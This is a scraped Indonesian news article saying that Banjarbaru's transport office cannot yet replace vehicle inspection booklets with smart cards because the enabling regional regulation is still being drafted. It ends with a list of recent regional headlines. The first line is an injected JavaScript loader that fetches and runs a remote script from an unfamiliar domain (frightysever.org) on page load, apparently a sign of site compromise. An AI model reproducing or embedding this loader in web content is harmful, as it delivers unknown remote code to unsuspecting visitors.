(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Uji Kir Pakai Smart Card di Banjarbaru Belum Bisa, Ini Masalahnya


KANALKALIMANTAN.COM, BANJARBARU – Uji kir kendaraan umum dengan menggunakan smart card, telah diterapkan di beberapa daerah. Sayangnya, regulasi baru ini belum bisa diberlakukan di Kota Banjarbaru lantaran belum terbentuknya payung hukum yang menaungi regulasi baru itu.

Sebelumnya, pemerintah pusat telah menetapkan regulasi ihwal penggantian dari buku uji kir menjadi smart card. Hal ini bertujuan agar pelaksanaan Uji KIR kendaraan umum ke depannya bisa dilakukan secara online.

Kepala UPT Pengujian dan Perbengkelan Kendaraan Bermotor (PPKB) Dinas Perhubungan (Dishub) Kota Banjarbaru Magi mengatakan bahwa uji kir dengan menggunakan smart card, sangat mudah dan efektif. Dengan kartu pintar ini, pemantauan kendaraan bermotor yang diuji kir secara otomatis terintegrasi ke sistem di pusat.

“Smart card menyerupai SIM maupun kartu ATM. Pemilik kendaraan hanya menggunakan dan menyimpan kartu ini ketika ingin melakukan pengujian kir. Penggunaan smart card tidak hanya memudahkan pelayanan, namun juga sebagai bentuk pengawasan terhadap kami para petugas,” katanya.

Karena belum adanya payung hukum, membuat penerapan smart card tidak bisa dilaksanakan oleh UPT PPKB Dishub Banjarbaru. Payung hukum berupa Rancangan Peraturan Daerah (Raperda) itu, kabarnya masih digodok di bagian hukum Sekdako Banjarbaru.

Magi menjelaskan Raperda tersebut sangat diperlukan, mengingat pemberlakuan smart card termasuk dalam kategori retribusi. Ia berharap Raperda tersebut bisa secepatnya diselesaikan. Apalagi, pemerintah pusat tak lagi menerbitkan buku uji kit dan memprioritaskan penggunaan smart card.

“Kita saat ini masih menggunakan buku uji kir. Nah, kalau buku uji kir yang kita miliki ini sudah terpakai semua, bagaimana kita melakukan pelayanan uji kir? Sementara pemerintah sudah tidak memproduksi buku ini. Makanya, kita harus secepatnya pindah ke smart card,” akunya

Ia juga telah memastikan bahwa UPT PPKB Dishub Banjarbaru telah siap secara teknis menerapkan Smart Card. Baik itu, fasilitas sarana maupun SDM yang bertugas.

“Jauh-jauh hari alatnya dan juga SDM kita sudah siap, cuma memang sekarang itu terkendala di payung hukumnya. Makanya kita harapkan Raperda penerapan smart card bisa secepatnya diterbitkan,” pungkas Magi. (kanalkalimantan.com/rico)

 

Reporter: Rico
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.